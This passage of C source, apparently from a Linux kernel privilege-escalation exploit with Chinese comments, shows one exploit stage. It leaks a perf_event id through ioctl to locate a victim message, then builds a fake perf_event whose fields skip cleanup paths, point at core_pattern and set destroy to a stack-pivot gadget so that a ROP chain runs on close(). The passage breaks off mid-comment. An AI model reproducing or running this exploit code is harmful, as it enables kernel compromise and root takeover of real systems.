[5] ID Oracle读取 + ROP链构建与触发 [5-1] 通过 ioctl(PERF_EVENT_IOC_ID) 读取被 msg_msgseg 覆盖后的 event->id。从印章值解码受害者消息队列索引和偏移 [5-2] 构建伪造 perf_event (含 ROP 链) [5-3] 释放并重新喷洒相邻段和受害者段 [5-4] close(victim_perf_fd) 触发 perf_release → _free_event → event->destroy → ROP
| 2144 | // [5-3] 释放并重新喷洒相邻段和受害者段 |
| 2145 | // [5-4] close(victim_perf_fd) 触发 perf_release → _free_event → event->destroy → ROP |
| 2146 | int locate_and_leak(int victim_perf_fd) { |
| 2147 | uint64_t id_val = 0; |
| 2148 | // [5-1] 读取`perf_event->id`,确定覆写UAF `perf_event` 的 msg_msgseg |
| 2149 | if (ioctl(victim_perf_fd, PERF_EVENT_IOC_ID, &id_val) < 0) { |
| 2150 | return -1; |
| 2151 | } |
| 2152 | |
| 2153 | int victim_msg_idx = (int)(id_val >> 32) - 1; |
| 2154 | int id_offset_in_msg = (int)(id_val & 0xFFFFFFFF); |
| 2155 | |
| 2156 | log_info("[5-1] Oracle Hit! Victim Msg Index: %d, Event ID Offset: 0x%x", |
| 2157 | victim_msg_idx, id_offset_in_msg); |
| 2158 | __atomic_store_n(&tp_oracle_hit, 1, __ATOMIC_RELEASE); |
| 2159 | __atomic_store_n(&tp_victim_msg_idx, victim_msg_idx, __ATOMIC_RELEASE); |
| 2160 | |
| 2161 | // Only allow final stage when victim_idx > 0. |
| 2162 | if (victim_msg_idx <= 0 || victim_msg_idx >= MSG_SPRAY_COUNT) { |
| 2163 | log_warn("Leak none poisoned data: 0x%lx", id_val); |
| 2164 | __atomic_store_n(&tp_fail_reason, TP_FAIL_ORACLE_BAD_INDEX, __ATOMIC_RELEASE); |
| 2165 | return -1; |
| 2166 | } |
| 2167 | |
| 2168 | // [5-2] 伪造 perf_event (含 ROP 链) |
| 2169 | log_info("============================================="); |
| 2170 | log_info("[5-2] Starting Final Exploitation Sequence..."); |
| 2171 | __atomic_store_n(&tp_final_stage_entered, 1, __ATOMIC_RELEASE); |
| 2172 | __atomic_store_n(&tp_final_result, 1, __ATOMIC_RELEASE); |
| 2173 | |
| 2174 | int real_id_offset_in_seg = id_offset_in_msg + MSG_SEG_HEADER_SZ; |
| 2175 | int event_offset_in_victim = real_id_offset_in_seg - off_event_id; |
| 2176 | int victim_seg_rel_to_event = -event_offset_in_victim; // victim_seg_rel_to_event - 实际地址和id的偏移 |
| 2177 | |
| 2178 | // 构建包含安全字段 + ROP 链的伪造 perf_event |
| 2179 | char fake_event[PERF_EVENT_SIZE]; |
| 2180 | memset(fake_event, 0, PERF_EVENT_SIZE); |
| 2181 | |
| 2182 | // ---- 安全字段: 跳过 _free_event 中的各个 cleanup 路径 ---- |
| 2183 | // ctx = 0: 跳过 put_ctx(), mutex_lock, perf_remove_from_context 等 |
| 2184 | *(uint64_t*)(fake_event + off_ctx) = 0; |
| 2185 | // rb = 0: 跳过 ring buffer detach |
| 2186 | *(uint64_t*)(fake_event + off_rb) = 0; |
| 2187 | // pmu = core_pattern_addr: 通过 unaccount_event → unaccount_pmu_sb_event 检查 |
| 2188 | *(uint64_t*)(fake_event + off_pmu) = ktext + core_pattern_addr; |
| 2189 | // prog = 0: 跳过 BPF program cleanup |
| 2190 | *(uint64_t*)(fake_event + off_prog) = 0; |
| 2191 | // cgrp = 0: 跳过 cgroup cleanup |
| 2192 | *(uint64_t*)(fake_event + off_cgrp) = 0; |
| 2193 | // addr_filters = 0: 跳过地址过滤器 cleanup |
| 2194 | *(uint64_t*)(fake_event + off_filters) = 0; |
| 2195 | // refcount = 1: 确保 put_event → refcount=0 → _free_event 路径触发 |
| 2196 | *(uint32_t*)(fake_event + off_refcount) = 1; |
| 2197 | |
| 2198 | // ---- destroy 函数指针 = Stack Pivot Gadget ---- |
| 2199 | // push rbx; pop rsp; pop rbp; ret |
| 2200 | // perf_release() → _free_event() → event->destroy(event) 执行时, |
| 2201 | // rbx 指向 event 地址,故 rsp 被 pivot 到 event 开头, |
| 2202 | // 接着 pop rbp 跳过 8 字节,ret 跳转到 event+0x8 处的 ROP 链 |
| 2203 | /* |
no test coverage detected